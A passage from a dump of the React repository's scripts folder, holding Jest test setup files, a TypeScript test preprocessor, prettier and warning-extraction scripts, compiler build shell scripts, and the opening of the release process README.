(global.__PERSISTENT__) {\n  jest.mock('react-noop-renderer', () =>\n    jest.requireActual('react-noop-renderer/persistent')\n  );\n}\n"
  },
  {
    "path": "scripts/jest/setupTests.build.js",
    "content": "'use strict';\n\njest.mock('scheduler', () => jest.requireActual('scheduler/unstable_mock'));\n\nglobal.__unmockReact = () => jest.unmock('react');\n"
  },
  {
    "path": "scripts/jest/setupTests.js",
    "content": "'use strict';\n\nconst {getTestFlags} = require('./TestFlags');\nconst {\n  assertConsoleLogsCleared,\n  resetAllUnexpectedConsoleCalls,\n  patchConsoleMethods,\n} = require('internal-test-utils/consoleMock');\nconst path = require('path');\n\nif (process.env.REACT_CLASS_EQUIVALENCE_TEST) {\n  // Inside the class equivalence tester, we have a custom environment, let's\n  // require that instead.\n  require('./spec-equivalence-reporter/setupTests.js');\n} else {\n  const errorMap = require('../error-codes/codes.json');\n\n  // By default, jest.spyOn also calls the spied method.\n  const spyOn = jest.spyOn;\n  const noop = jest.fn;\n\n  // Can be used to normalize paths in stackframes\n  global.__REACT_ROOT_PATH_TEST__ = path.resolve(__dirname, '../..');\n\n  // Spying on console methods in production builds can mask errors.\n  // This is why we added an explicit spyOnDev() helper.\n  // It's too easy to accidentally use the more familiar spyOn() helper though,\n  // So we disable it entirely.\n  // Spying on both dev and prod will require using both spyOnDev() and spyOnProd().\n  global.spyOn = function () {\n    throw new Error(\n      'Do not use spyOn(). ' +\n        'It can accidentally hide unexpected errors in production builds. ' +\n        'Use spyOnDev(), spyOnProd(), or spyOnDevAndProd() instead.'\n    );\n  };\n\n  if (process.env.NODE_ENV === 'production') {\n    global.spyOnDev = noop;\n    global.spyOnProd = spyOn;\n    global.spyOnDevAndProd = spyOn;\n  } else {\n    global.spyOnDev = spyOn;\n    global.spyOnProd = noop;\n    global.spyOnDevAndProd = spyOn;\n  }\n\n  expect.extend({\n    ...require('./matchers/reactTestMatchers'),\n    ...require('./matchers/toThrow'),\n  });\n\n  // We have a Babel transform that inserts guards against infinite loops.\n  // If a loop runs for too many iterations, we throw an error and set this\n  // global variable. The global lets us detect an infinite loop even if\n  // the actual error object ends up being caught and ignored. An infinite\n  // loop must always fail the test!\n  beforeEach(() => {\n    global.infiniteLoopError = null;\n  });\n  afterEach(() => {\n    const error = global.infiniteLoopError;\n    global.infiniteLoopError = null;\n    if (error) {\n      throw error;\n    }\n  });\n\n  // Patch the console to assert that all console error/warn/log calls assert.\n  patchConsoleMethods({includeLog: !!process.env.CI});\n  beforeEach(resetAllUnexpectedConsoleCalls);\n  afterEach(assertConsoleLogsCleared);\n\n  // TODO: enable this check so we don't forget to reset spyOnX mocks.\n  // afterEach(() => {\n  //   if (\n  //       console[methodName] !== mockMethod &&\n  //       !jest.isMockFunction(console[methodName])\n  //   ) {\n  //     throw new Error(\n  //       `Test did not tear down console.${methodName} mock properly.`\n  //     );\n  //   }\n  // });\n\n  if (process.env.NODE_ENV === 'production') {\n    // In production, we strip error messages and turn them into codes.\n    // This decodes them back so that the test assertions on them work.\n    // 1. `ErrorProxy` decodes error messages at Error construction time and\n    //    also proxies error instances with `proxyErrorInstance`.\n    // 2. `proxyErrorInstance` decodes error messages when the `message`\n    //    property is changed.\n    const decodeErrorMessage = function (message) {\n      if (!message) {\n        return message;\n      }\n      const re = /react.dev\\/errors\\/(\\d+)?\\??([^\\s]*)/;\n      let matches = message.match(re);\n      if (!matches || matches.length !== 3) {\n        // Some tests use React 17, when the URL was different.\n        const re17 = /error-decoder.html\\?invariant=(\\d+)([^\\s]*)/;\n        matches = message.match(re17);\n        if (!matches || matches.length !== 3) {\n          return message;\n        }\n      }\n      const code = parseInt(matches[1], 10);\n      const args = matches[2]\n        .split('&')\n        .filter(s => s.startsWith('args[]='))\n        .map(s => s.slice('args[]='.length))\n        .map(decodeURIComponent);\n      const format = errorMap[code];\n      let argIndex = 0;\n      return format.replace(/%s/g, () => args[argIndex++]);\n    };\n    const OriginalError = global.Error;\n    // V8's Error.captureStackTrace (used in Jest) fails if the error object is\n    // a Proxy, so we need to pass it the unproxied instance.\n    const originalErrorInstances = new WeakMap();\n    const captureStackTrace = function (error, ...args) {\n      return OriginalError.captureStackTrace.call(\n        this,\n        originalErrorInstances.get(error) ||\n          // Sometimes this wrapper receives an already-unproxied instance.\n          error,\n        ...args\n      );\n    };\n    const proxyErrorInstance = error => {\n      const proxy = new Proxy(error, {\n        set(target, key, value, receiver) {\n          if (key === 'message') {\n            return Reflect.set(\n              target,\n              key,\n              decodeErrorMessage(value),\n              receiver\n            );\n          }\n          return Reflect.set(target, key, value, receiver);\n        },\n        get(target, key, receiver) {\n          if (key === 'stack') {\n            // https://github.com/nodejs/node/issues/60862\n            return Reflect.get(target, key);\n          }\n          return Reflect.get(target, key, receiver);\n        },\n      });\n      originalErrorInstances.set(proxy, error);\n      return proxy;\n    };\n    const ErrorProxy = new Proxy(OriginalError, {\n      apply(target, thisArg, argumentsList) {\n        const error = Reflect.apply(target, thisArg, argumentsList);\n        error.message = decodeErrorMessage(error.message);\n        return proxyErrorInstance(error);\n      },\n      construct(target, argumentsList, newTarget) {\n        const error = Reflect.construct(target, argumentsList, newTarget);\n        error.message = decodeErrorMessage(error.message);\n        return proxyErrorInstance(error);\n      },\n      get(target, key, receiver) {\n        if (key === 'captureStackTrace') {\n          return captureStackTrace;\n        }\n        return Reflect.get(target, key, receiver);\n      },\n    });\n    ErrorProxy.OriginalError = OriginalError;\n    global.Error = ErrorProxy;\n  }\n\n  const expectTestToFail = async (callback, errorToThrowIfTestSucceeds) => {\n    if (callback.length > 0) {\n      throw Error(\n        'Gated test helpers do not support the `done` callback. Return a ' +\n          'promise instead.'\n      );\n    }\n\n    // Install a global error event handler. We treat global error events as\n    // test failures, same as Jest's default behavior.\n    //\n    // Becaused we installed our own error event handler, Jest will not report a\n    // test failure. Conceptually it's as if we wrapped the entire test event in\n    // a try-catch.\n    let didError = false;\n    const errorEventHandler = () => {\n      didError = true;\n    };\n    // eslint-disable-next-line no-restricted-globals\n    if (typeof addEventListener === 'function') {\n      // eslint-disable-next-line no-restricted-globals\n      addEventListener('error', errorEventHandler);\n    }\n\n    try {\n      const maybePromise = callback();\n      if (\n        maybePromise !== undefined &&\n        maybePromise !== null &&\n        typeof maybePromise.then === 'function'\n      ) {\n        await maybePromise;\n      }\n      // Flush unexpected console calls inside the test itself, instead of in\n      // `afterEach` like we normally do. `afterEach` is too late because if it\n      // throws, we won't have captured it.\n      assertConsoleLogsCleared();\n    } catch (testError) {\n      didError = true;\n    }\n    resetAllUnexpectedConsoleCalls();\n    // eslint-disable-next-line no-restricted-globals\n    if (typeof removeEventListener === 'function') {\n      // eslint-disable-next-line no-restricted-globals\n      removeEventListener('error', errorEventHandler);\n    }\n\n    if (!didError) {\n      // The test did not error like we expected it to. Report this to Jest as\n      // a failure.\n      throw errorToThrowIfTestSucceeds;\n    }\n  };\n\n  const coerceGateConditionToFunction = gateFnOrString => {\n    return typeof gateFnOrString === 'string'\n      ? // `gate('foo')` is treated as equivalent to `gate(flags => flags.foo)`\n        flags => flags[gateFnOrString]\n      : // Assume this is already a function\n        gateFnOrString;\n  };\n\n  const gatedErrorMessage = 'Gated test was expected to fail, but it passed.';\n  global._test_gate = (gateFnOrString, testName, callback, timeoutMS) => {\n    const gateFn = coerceGateConditionToFunction(gateFnOrString);\n    let shouldPass;\n    try {\n      const flags = getTestFlags();\n      shouldPass = gateFn(flags);\n    } catch (e) {\n      test(\n        testName,\n        () => {\n          throw e;\n        },\n        timeoutMS\n      );\n      return;\n    }\n    if (shouldPass) {\n      test(testName, callback, timeoutMS);\n    } else {\n      const error = new Error(gatedErrorMessage);\n      Error.captureStackTrace(error, global._test_gate);\n      test(`[GATED, SHOULD FAIL] ${testName}`, () =>\n        expectTestToFail(callback, error, timeoutMS));\n    }\n  };\n  global._test_gate_focus = (gateFnOrString, testName, callback, timeoutMS) => {\n    const gateFn = coerceGateConditionToFunction(gateFnOrString);\n    let shouldPass;\n    try {\n      const flags = getTestFlags();\n      shouldPass = gateFn(flags);\n    } catch (e) {\n      test.only(\n        testName,\n        () => {\n          throw e;\n        },\n        timeoutMS\n      );\n      return;\n    }\n    if (shouldPass) {\n      test.only(testName, callback, timeoutMS);\n    } else {\n      const error = new Error(gatedErrorMessage);\n      Error.captureStackTrace(error, global._test_gate_focus);\n      test.only(\n        `[GATED, SHOULD FAIL] ${testName}`,\n        () => expectTestToFail(callback, error),\n        timeoutMS\n      );\n    }\n  };\n\n  // Dynamic version of @gate pragma\n  global.gate = gateFnOrString => {\n    const gateFn = coerceGateConditionToFunction(gateFnOrString);\n    const flags = getTestFlags();\n    return gateFn(flags);\n  };\n\n  // We augment JSDOM to produce a document that has a loading readyState by default\n  // and can be changed. We mock it here globally so we don't have to import our special\n  // mock in every file.\n  jest.mock('jsdom', () => {\n    return require('internal-test-utils/ReactJSDOM.js');\n  });\n}\n\n// We mock createHook so that we can automatically clean it up.\nlet installedHook = null;\njest.mock('async_hooks', () => {\n  const actual = jest.requireActual('async_hooks');\n  return {\n    ...actual,\n    createHook(config) {\n      if (installedHook) {\n        installedHook.disable();\n      }\n      return (installedHook = actual.createHook(config));\n    },\n  };\n});\n\n// Ensure async hooks are disabled after each test to prevent cross-test pollution.\n// This is needed because test files that load the Node server (with async debug hooks)\n// can pollute test files that load the Edge server (which doesn't create new hooks\n// to trigger the cleanup in the mock above).\nafterEach(() => {\n  if (installedHook) {\n    installedHook.disable();\n    installedHook = null;\n  }\n});\n"
  },
  {
    "path": "scripts/jest/setupTests.persistent.js",
    "content": "'use strict';\n\nglobal.__PERSISTENT__ = true;\n"
  },
  {
    "path": "scripts/jest/setupTests.www.js",
    "content": "'use strict';\n\njest.mock('shared/ReactFeatureFlags', () => {\n  jest.mock(\n    'ReactFeatureFlags',\n    () => jest.requireActual('shared/forks/ReactFeatureFlags.www-dynamic'),\n    {virtual: true}\n  );\n  const actual = jest.requireActual('shared/forks/ReactFeatureFlags.www');\n\n  // Flags that aren't currently used, but we still want to force variants to keep the\n  // code live.\n  actual.disableInputAttributeSyncing = __VARIANT__;\n\n  // These are hardcoded to true for the next release,\n  // but still run the tests against both variants until\n  // we remove the flag.\n  actual.disableClientCache = __VARIANT__;\n\n  // Some value that doesn't impact existing tests\n  actual.ownerStackLimit = __VARIANT__ ? 500 : 1e4;\n\n  return actual;\n});\n\njest.mock('scheduler/src/SchedulerFeatureFlags', () => {\n  const schedulerSrcPath = process.cwd() + '/packages/scheduler';\n  jest.mock(\n    'SchedulerFeatureFlags',\n    () =>\n      jest.requireActual(\n        schedulerSrcPath + '/src/forks/SchedulerFeatureFlags.www-dynamic'\n      ),\n    {virtual: true}\n  );\n  const actual = jest.requireActual(\n    schedulerSrcPath + '/src/forks/SchedulerFeatureFlags.www'\n  );\n\n  // Add flags here that are not a dynamic on www,\n  // but we still want to run tests in both versions.\n  // <this list is empty>\n\n  return actual;\n});\n\nglobal.__WWW__ = true;\n"
  },
  {
    "path": "scripts/jest/setupTests.xplat.js",
    "content": "'use strict';\n\njest.mock('shared/ReactFeatureFlags', () => {\n  jest.mock(\n    'ReactNativeInternalFeatureFlags',\n    () =>\n      jest.requireActual('shared/forks/ReactFeatureFlags.native-fb-dynamic.js'),\n    {virtual: true}\n  );\n  const actual = jest.requireActual(\n    'shared/forks/ReactFeatureFlags.native-fb.js'\n  );\n\n  // Lots of tests use these, but we don't want to expose it to RN.\n  // Ideally, tests for xplat wouldn't use react-dom, but many of our tests do.\n  // Since the xplat tests run with the www entry points, some of these flags\n  // need to be set to the www value for the entrypoint, otherwise gating would\n  // fail due to the tests passing. Ideally, the www entry points for these APIs\n  // would be gated, and then these would fail correctly.\n  actual.enableLegacyCache = true;\n  actual.enableLegacyHidden = true;\n  actual.enableScopeAPI = true;\n  actual.enableTaint = false;\n\n  // Some value that doesn't impact existing tests\n  actual.ownerStackLimit = __VARIANT__ ? 500 : 1e4;\n\n  return actual;\n});\n\nglobal.__PERSISTENT__ = true;\nglobal.__XPLAT__ = true;\n"
  },
  {
    "path": "scripts/jest/sizeBalancedSequencer.js",
    "content": "'use strict';\n\nconst Sequencer = require('@jest/test-sequencer').default;\nconst fs = require('fs');\n\nclass SizeBalancedSequencer extends Sequencer {\n  shard(tests, {shardIndex, shardCount}) {\n    const shards = Array.from({length: shardCount}, () => ({\n      tests: [],\n      size: 0,\n    }));\n    const sorted = [...tests].sort(\n      (a, b) => fs.statSync(b.path).size - fs.statSync(a.path).size\n    );\n\n    for (let i = 0; i < sorted.length; i++) {\n      const test = sorted[i];\n      const size = fs.statSync(test.path).size;\n      const smallest = shards.reduce((min, s) => (s.size < min.size ? s : min));\n      smallest.tests.push(test);\n      smallest.size += size;\n    }\n\n    return shards[shardIndex - 1].tests;\n  }\n}\n\nmodule.exports = SizeBalancedSequencer;\n"
  },
  {
    "path": "scripts/jest/spec-equivalence-reporter/equivalenceReporter.js",
    "content": "/*!\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nclass EquivalenceReporter {\n  onTestCaseResult(test, testCaseResult) {\n    console.log(\n      `EQUIVALENCE: ${testCaseResult.title}, ` +\n        `status: ${testCaseResult.status}, ` +\n        `numExpectations: ${testCaseResult.numPassingAsserts}`\n    );\n  }\n}\n\nmodule.exports = EquivalenceReporter;\n"
  },
  {
    "path": "scripts/jest/spec-equivalence-reporter/setupTests.js",
    "content": "/*!\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst {\n  patchConsoleMethods,\n  resetAllUnexpectedConsoleCalls,\n  assertConsoleLogsCleared,\n} = require('internal-test-utils/consoleMock');\nconst spyOn = jest.spyOn;\n\n// Spying on console methods in production builds can mask errors.\n// This is why we added an explicit spyOnDev() helper.\n// It's too easy to accidentally use the more familiar spyOn() helper though,\n// So we disable it entirely.\n// Spying on both dev and prod will require using both spyOnDev() and spyOnProd().\nglobal.spyOn = function () {\n  throw new Error(\n    'Do not use spyOn(). ' +\n      'It can accidentally hide unexpected errors in production builds. ' +\n      'Use spyOnDev(), spyOnProd(), or spyOnDevAndProd() instead.'\n  );\n};\n\nglobal.spyOnDev = function (...args) {\n  if (__DEV__) {\n    return spyOn(...args);\n  }\n};\n\nglobal.spyOnDevAndProd = spyOn;\n\nglobal.spyOnProd = function (...args) {\n  if (!__DEV__) {\n    return spyOn(...args);\n  }\n};\n\n// Patch the console to assert that all console error/warn/log calls assert.\npatchConsoleMethods({includeLog: !!process.env.CI});\nbeforeEach(resetAllUnexpectedConsoleCalls);\nafterEach(assertConsoleLogsCleared);\n\n// TODO: enable this check so we don't forget to reset spyOnX mocks.\n// afterEach(() => {\n//   if (\n//       console[methodName] !== mockMethod &&\n//       !jest.isMockFunction(console[methodName])\n//   ) {\n//     throw new Error(\n//       `Test did not tear down console.${methodName} mock properly.`\n//     );\n//   }\n// });\n\nexpect.extend({\n  ...require('../matchers/reactTestMatchers'),\n  ...require('../matchers/toThrow'),\n});\n"
  },
  {
    "path": "scripts/jest/typescript/jest.d.ts",
    "content": "declare const __DEV__: boolean;\ndeclare const __TEST__: boolean;\ndeclare const __EXTENSION__: boolean;\n\ndeclare function afterEach(fn: any): any;\ndeclare function beforeEach(fn: any): any;\ndeclare function describe(name: string, fn: any): void;\ndeclare const it: {\n  (name: string, fn: any): void;\n  only: (name: string, fn: any) => void;\n};\ndeclare function expect(val: any): Expect;\ndeclare const jest: Jest;\ndeclare function pit(name: string, fn: any): void;\ndeclare function spyOnDev(obj: any, key: string): any;\ndeclare function spyOnDevAndProd(obj: any, key: string): any;\ndeclare function spyOnProd(obj: any, key: string): any;\ndeclare function xdescribe(name: string, fn: any): void;\ndeclare function xit(name: string, fn: any): void;\n\ninterface Expect {\n  not: Expect;\n  toThrow(message?: string): void;\n  toThrowError(message?: string): void;\n  toBe(value: any): void;\n  toEqual(value: any): void;\n  toBeFalsy(): void;\n  toBeTruthy(): void;\n  toBeNull(): void;\n  toBeUndefined(): void;\n  toBeDefined(): void;\n  toMatch(regexp: RegExp): void;\n  toContain(string: string): void;\n  toBeCloseTo(number: number, delta: number): void;\n  toBeGreaterThan(number: number): void;\n  toBeLessThan(number: number): void;\n  toBeCalled(): void;\n  toBeCalledWith(...arguments): void;\n  lastCalledWith(...arguments): void;\n}\n\ninterface Jest {\n  autoMockOff(): void;\n  autoMockOn(): void;\n  clearAllTimers(): void;\n  dontMock(moduleName: string): void;\n  genMockFromModule(moduleObj: Object): Object;\n  genMockFunction(): MockFunction;\n  genMockFn(): MockFunction;\n  mock(moduleName: string): void;\n  runAllTicks(): void;\n  runAllTimers(): void;\n  runOnlyPendingTimers(): void;\n  setMock(moduleName: string, moduleExports: Object): void;\n}\n\ninterface MockFunction {\n  (...arguments): any;\n  mock: {\n    calls: Array<Array<any>>;\n    instances: Array<Object>;\n  };\n  mockClear(): void;\n  mockImplementation(fn: Function): MockFunction;\n  mockImpl(fn: Function): MockFunction;\n  mockReturnThis(): MockFunction;\n  mockReturnValue(value: any): MockFunction;\n  mockReturnValueOnce(value: any): MockFunction;\n}\n\ndeclare const check: any;\ndeclare const gen: any;\n"
  },
  {
    "path": "scripts/jest/typescript/preprocessor.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst ts = require('typescript');\n\nconst tsOptions = {\n  module: ts.ModuleKind.CommonJS,\n  jsx: ts.JsxEmit.React,\n};\n\nfunction formatErrorMessage(error) {\n  if (error.file) {\n    const message = ts.flattenDiagnosticMessageText(error.messageText, '\\n');\n    return (\n      error.file.fileName +\n      '(' +\n      error.file.getLineAndCharacterOfPosition(error.start).line +\n      '): ' +\n      message\n    );\n  } else {\n    return ts.flattenDiagnosticMessageText(error.messageText, '\\n');\n  }\n}\n\nfunction compile(content, contentFilename) {\n  let output = null;\n  const compilerHost = {\n    fileExists(filename) {\n      return ts.sys.fileExists(filename);\n    },\n    getCanonicalFileName(filename) {\n      return filename;\n    },\n    getCurrentDirectory() {\n      return '';\n    },\n    getDefaultLibFileName: () => 'lib.d.ts',\n    getNewLine: () => ts.sys.newLine,\n    getSourceFile(filename, languageVersion) {\n      let source;\n      const libRegex = /lib\\.(.+\\.)?d\\.ts$/;\n      const jestRegex = /jest\\.d\\.ts/;\n      const reactRegex =\n        /(?:React|ReactDOM|ReactDOMClient|ReactInternalAct|PropTypes)(?:\\.d)?\\.ts$/;\n\n      // `path.normalize` is used to turn forward slashes in\n      // the file path into backslashes on Windows.\n      filename = path.normalize(filename);\n      if (filename.match(libRegex)) {\n        source = fs\n          .readFileSync(require.resolve('typescript/lib/' + filename))\n          .toString();\n      } else if (filename.match(jestRegex)) {\n        source = fs.readFileSync(path.join(__dirname, 'jest.d.ts')).toString();\n      } else if (filename === contentFilename) {\n        source = content;\n      } else if (reactRegex.test(filename)) {\n        // TypeScript will look for the .d.ts files in each ancestor directory,\n        // so there may not be a file at the referenced path as it climbs the\n        // hierarchy.\n        try {\n          source = fs.readFileSync(filename).toString();\n        } catch (e) {\n          if (e.code === 'ENOENT') {\n            return undefined;\n          }\n          throw e;\n        }\n      } else {\n        throw new Error('Unexpected filename ' + filename);\n      }\n      return ts.createSourceFile(filename, source, 'ES5', '0');\n    },\n    readFile(filename) {\n      return ts.sys.readFile(filename);\n    },\n    useCaseSensitiveFileNames() {\n      return ts.sys.useCaseSensitiveFileNames;\n    },\n    writeFile(name, text, writeByteOrderMark) {\n      if (output === null) {\n        output = text;\n      } else {\n        throw new Error('Expected only one dependency.');\n      }\n    },\n  };\n  const program = ts.createProgram(\n    ['lib.d.ts', 'jest.d.ts', contentFilename],\n    tsOptions,\n    compilerHost\n  );\n  const emitResult = program.emit();\n  const errors = ts\n    .getPreEmitDiagnostics(program)\n    .concat(emitResult.diagnostics);\n  if (errors.length) {\n    throw new Error(errors.map(formatErrorMessage).join('\\n'));\n  }\n  return output;\n}\n\nmodule.exports = {\n  compile: compile,\n};\n"
  },
  {
    "path": "scripts/prettier/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\n// Based on similar script in Jest\n// https://github.com/facebook/jest/blob/a7acc5ae519613647ff2c253dd21933d6f94b47f/scripts/prettier.js\n\nconst chalk = require('chalk');\nconst glob = require('glob');\nconst prettier = require('prettier');\nconst fs = require('fs');\nconst path = require('path');\nconst listChangedFiles = require('../shared/listChangedFiles');\nconst prettierConfigPath = require.resolve('../../.prettierrc');\n\nconst mode = process.argv[2] || 'check';\nconst shouldWrite = mode === 'write' || mode === 'write-changed';\nconst onlyChanged = mode === 'check-changed' || mode === 'write-changed';\n\nconst changedFiles = onlyChanged ? listChangedFiles() : null;\n\nconst prettierIgnoreFilePath = path.join(\n  __dirname,\n  '..',\n  '..',\n  '.prettierignore'\n);\nconst prettierIgnore = fs.readFileSync(prettierIgnoreFilePath, {\n  encoding: 'utf8',\n});\nconst ignoredPathsListedInPrettierIgnore = prettierIgnore\n  .toString()\n  .replace(/\\r\\n/g, '\\n')\n  .split('\\n')\n  .filter(line => !!line && !line.startsWith('#'));\n\nconst ignoredPathsListedInPrettierIgnoreInGlobFormat =\n  ignoredPathsListedInPrettierIgnore.map(ignoredPath => {\n    const existsAndDirectory =\n      fs.existsSync(ignoredPath) && fs.lstatSync(ignoredPath).isDirectory();\n\n    if (existsAndDirectory) {\n      return path.join(ignoredPath, '/**');\n    }\n\n    return ignoredPath;\n  });\n\nconst files = glob\n  .sync('**/*.{js,jsx,ts,tsx}', {\n    ignore: [\n      '**/*.d.ts',\n      '**/node_modules/**',\n      '**/cjs/**',\n      '**/dist/**',\n      '**/__snapshots__/**',\n      'packages/**/*.ts', // runtime prettier uses Flow parser\n      ...ignoredPathsListedInPrettierIgnoreInGlobFormat,\n    ],\n  })\n  .filter(f => !onlyChanged || changedFiles.has(f));\n\nif (!files.length) {\n  process.exit(0);\n}\n\nasync function main() {\n  let didWarn = false;\n  let didError = false;\n\n  await Promise.all(\n    files.map(async file => {\n      const options = await prettier.resolveConfig(file, {\n        config: prettierConfigPath,\n      });\n      try {\n        const input = fs.readFileSync(file, 'utf8');\n        if (shouldWrite) {\n          const output = await prettier.format(input, options);\n          if (output !== input) {\n            fs.writeFileSync(file, output, 'utf8');\n          }\n        } else {\n          const isFormatted = await prettier.check(input, options);\n          if (!isFormatted) {\n            if (!didWarn) {\n              console.log(\n                '\\n' +\n                  chalk.red(\n                    `  This project uses prettier to format all JavaScript code.\\n`\n                  ) +\n                  chalk.dim(`    Please run `) +\n                  chalk.reset('yarn prettier-all') +\n                  chalk.dim(\n                    ` and add changes to files listed below to your commit:`\n                  ) +\n                  `\\n\\n`\n              );\n              didWarn = true;\n            }\n            console.log(file);\n          }\n        }\n      } catch (error) {\n        didError = true;\n        console.log('\\n\\n' + error.message);\n        console.log(file);\n      }\n    })\n  );\n  if (didWarn || didError) {\n    process.exit(1);\n  }\n}\n\nmain().catch(error => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "scripts/print-warnings/README.md",
    "content": "We use this script to extract all messages from `warning()` calls. They don't get substituted with anything in the source or the build. We only do this so we can have a copy of these messages in our internal repository and can spot accidental changes to them.\n"
  },
  {
    "path": "scripts/print-warnings/print-warnings.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst {\n  parse,\n  SimpleTraverser: {traverse},\n} = require('hermes-parser');\nconst fs = require('fs');\nconst through = require('through2');\nconst gs = require('glob-stream');\n\nconst {evalStringConcat} = require('../shared/evalToString');\n\nconst warnings = new Set();\n\nfunction transform(file, enc, cb) {\n  fs.readFile(file.path, 'utf8', function (err, source) {\n    if (err) {\n      cb(err);\n      return;\n    }\n\n    let ast;\n    try {\n      ast = parse(source);\n    } catch (error) {\n      console.error('Failed to parse source file:', file.path);\n      throw error;\n    }\n\n    traverse(ast, {\n      enter() {},\n      leave(node) {\n        if (node.type !== 'CallExpression') {\n          return;\n        }\n        const callee = node.callee;\n        if (\n          callee.type === 'MemberExpression' &&\n          callee.object.type === 'Identifier' &&\n          callee.object.name === 'console' &&\n          callee.property.type === 'Identifier' &&\n          (callee.property.name === 'warn' || callee.property.name === 'error')\n        ) {\n          // warning messages can be concatenated (`+`) at runtime, so here's\n          // a trivial partial evaluator that interprets the literal value\n          try {\n            const warningMsgLiteral = evalStringConcat(node.arguments[0]);\n            warnings.add(warningMsgLiteral);\n          } catch {\n            // Silently skip over this call. We have a lint rule to enforce\n            // that all calls are extractable, so if this one fails, assume\n            // it's intentional.\n          }\n        }\n      },\n    });\n\n    cb(null);\n  });\n}\n\ngs([\n  'packages/**/*.js',\n  '!packages/*/npm/**/*.js',\n  '!packages/react-devtools*/**/*.js',\n  '!**/__tests__/**/*.js',\n  '!**/__mocks__/**/*.js',\n  '!**/node_modules/**/*.js',\n]).pipe(\n  through.obj(transform, cb => {\n    const warningsArray = Array.from(warnings);\n    warningsArray.sort();\n    process.stdout.write(\n      `/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n * @noformat\n * @oncall react_core\n */\n\nexport default ${JSON.stringify(warningsArray, null, 2)};\n`\n    );\n    cb();\n  })\n);\n"
  },
  {
    "path": "scripts/react-compiler/build-compiler.sh",
    "content": "#!/usr/bin/env bash\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nset -eo pipefail\n\nif [[ \"$REACT_CLASS_EQUIVALENCE_TEST\" == \"true\" ]]; then\n  exit 0\nfi\n\necho \"Building babel-plugin-react-compiler...\"\nyarn --cwd compiler workspace babel-plugin-react-compiler build --dts\n"
  },
  {
    "path": "scripts/react-compiler/link-compiler.sh",
    "content": "#!/usr/bin/env bash\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nset -eo pipefail\n\nif [[ \"$REACT_CLASS_EQUIVALENCE_TEST\" == \"true\" ]]; then\n  exit 0\nfi\n\nHERE=$(pwd)\n\ncd compiler/packages/babel-plugin-react-compiler && yarn --silent link && cd \"$HERE\"\n\nyarn --silent link babel-plugin-react-compiler\n"
  },
  {
    "path": "scripts/release/.gitignore",
    "content": ".progress-estimator"
  },
  {
    "path": "scripts/release/README.md",
    "content": "# React Release Scripts\n\nThis document describes how to prepare and publish a release manually, using the command line.\n\nHowever, most of our releases are actually *prereleases* that get continuously shipped via CI. Our automated prerelease channels are preferred whenever possible, because if they accidentally break, it won't affect production users.\n\nBefore proceeding, consider your motivation:\n\n- **\"I want to share experimental features with collaborators.\"** After your code lands in GitHub (behind an experimental feature flag), it will be automatically published via CI within the next weekday. So usually, all you have to do is wait.\n- **\"But I want to publish it now!\"** You can [trigger the CI job to run automatically](#trigger-an-automated-prerelease).\n- **\"I want to publish a stable release with a real version number\"** Refer to the [\"Publishing a Stable Release\"](#publishing-a-stable-release) section. If this is your first time running a stable release, consult with another team member before proceeding.\n- **\"I have some special use case that's not explicitly mentioned here.\"** Read the rest of this document, and consult with another team member before proceeding.\n\n# Process\n\nIf this is your first time running the release scripts, go to the `scripts/release` directory and run `yarn` to install the dependencies.\n\nThe release process consists of several phases, each one represented by one of the scripts below.\n\nA typical release cycle goes like this:\n1. When a commit is pushed to the React repo, [GitHub Actions](https://github.com/facebook/react/actions) will build all release bundles and run unit tests against both the source code and the built bundles.\n2. Each weekday, an automated CI cron job publishes prereleases to the `next` and `experimental` channels, from tip of the main branch.\n   1. You can also [trigger an automated prerelease via the GitHub UI](#trigger-an-automated-prerelease), instead of waiting until the next time the cron job runs.\n   2. For advanced cases, you can [**manually prepare and publish to the `next` channel**](#publishing-release) using the [`prepare-release-from-ci`](#prepare-release-from-ci) and [`publish`](#publish) scripts; or to the [**`experimental` channel**](#publishing-an-experimental-release) using the same scripts (but different build artifacts).\n3. Finally, a \"next\" release can be [**promoted to stable**](#publishing-a-stable-release)<sup>1</sup> using the [`prepare-release-from-npm`](#prepare-release-from-npm) and [`publish`](#publish) scripts. (This process is always manual.)\n\nThe high level process of creating releases is [documented below](#process). Individual scripts are documented as well:\n* [`build-release-locally`](#build-release-locally): Build a release locally from the checked out source code.\n* [`prepare-release-from-ci`](#prepare-release-from-ci): Download a pre-built release from CI.\n* [`prepare-release-from-npm`](#prepare-release-from-npm): Prepare an NPM \"next\" release to be published as a \"stable\" release.\n* [`publish`](#publish): Publish the downloaded (or prepared) release to NPM.\n\n<sup>1. [**Creating a patch release**](#creating-a-patch-release) has a slightly different process than a major/minor release.</sup>\n\n## Trigger an Automated Prerelease\n\nIf your code lands in the main branch, it will be automatically published to the prerelease channels within the next weekday. However, if you want to immediately publish a prerelease, you can trigger the job to run immediately via the GitHub UI:\n\n1. Wait for the commit you want to release to finish its [(Runtime) Build and Test workflow](https://github.com/facebook/react/actions/workflows/runtime_build_and_test.yml), as the prerelease script needs to download the build from that workflow.\n2. Copy the full git sha of whichever commit you are trying to release\n3. Go to https://github.com/facebook/react/actions/workflows/runtime_prereleases_manual.yml\n4. Paste the git sha into the \"Run workflow\" dropdown\n5. Let the job finish and it will be released on npm\n\nThis will grab the specified revision on the main branch and publish it to the Next and Experimental channels.\n## Publishing Without Tags\n\nThe sections below include meaningful `--tags` in the instructions. However, keep in mind that **the 